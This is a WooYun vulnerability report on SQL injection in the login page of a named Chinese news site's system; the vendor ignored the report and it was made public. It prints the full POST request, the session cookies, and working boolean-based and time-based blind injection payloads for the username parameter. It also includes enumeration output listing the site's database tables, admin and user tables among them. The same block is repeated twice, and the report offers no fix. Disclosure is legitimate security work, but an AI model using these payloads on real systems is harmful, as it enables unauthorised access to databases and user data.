当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0160763

漏洞标题:长江网某系统存在sql注入

相关厂商:长江网

漏洞作者: 路人甲

提交时间:2015-12-14 11:51

修复时间:2015-12-19 11:52

公开时间:2015-12-19 11:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-14: 细节已通知厂商并且等待厂商处理中
2015-12-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

长江网某系统存在sql注入

详细说明:

http://t.cjn.cn/user/login.php
POST /user/pf_login.php HTTP/1.1
Host: t.cjn.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://t.cjn.cn/user/login.php
Cookie: Hm_lvt_c63a40067785e1a6ff862dff1073e06a=1449904048,1449905348,1449905397,1449905403; city_c=101280800; Hm_lpvt_c63a40067785e1a6ff862dff1073e06a=1449907268; __cfduid=dc779c8b6820706714d36b87acbf108ca1449905721; pgv_pvi=2366679040; pgv_si=s2778693632; PHPSESSID=997l71q8tkem4qcmsv7i4jpqu0; __FTabceffgh=2015-12-12-15-38-34; __NRUabceffgh=1449905914208; __RTabceffgh=2015-12-12-15-38-34
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
username=admin&password=123456&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95
参数username存在注入
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=-5417' OR 5283=5283#&password=123456&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))TBHx)#&password=123456&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95
---
web application technology: Apache 2.2.27, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: myt
+------------+---------+
| Table | Entries |
+------------+---------+
| myt_books | 14337 |
| myt_logs | 814 |
| myt_replys | 106 |
| myt_bm | 96 |
| myt_user | 71 |
| myt_board | 15 |
| myt_admin | 7 |
+------------+---------+

漏洞证明:

http://t.cjn.cn/user/login.php
POST /user/pf_login.php HTTP/1.1
Host: t.cjn.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://t.cjn.cn/user/login.php
Cookie: Hm_lvt_c63a40067785e1a6ff862dff1073e06a=1449904048,1449905348,1449905397,1449905403; city_c=101280800; Hm_lpvt_c63a40067785e1a6ff862dff1073e06a=1449907268; __cfduid=dc779c8b6820706714d36b87acbf108ca1449905721; pgv_pvi=2366679040; pgv_si=s2778693632; PHPSESSID=997l71q8tkem4qcmsv7i4jpqu0; __FTabceffgh=2015-12-12-15-38-34; __NRUabceffgh=1449905914208; __RTabceffgh=2015-12-12-15-38-34
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
username=admin&password=123456&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95
参数username存在注入
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=-5417' OR 5283=5283#&password=123456&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))TBHx)#&password=123456&submit=%E7%AE%A1%E7%90%86%E7%99%BB%E5%BD%95
---
web application technology: Apache 2.2.27, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: myt
+------------+---------+
| Table | Entries |
+------------+---------+
| myt_books | 14337 |
| myt_logs | 814 |
| myt_replys | 106 |
| myt_bm | 96 |
| myt_user | 71 |
| myt_board | 15 |
| myt_admin | 7 |
+------------+---------+

修复方案:

这个你们比我更专业。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-19 11:52

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无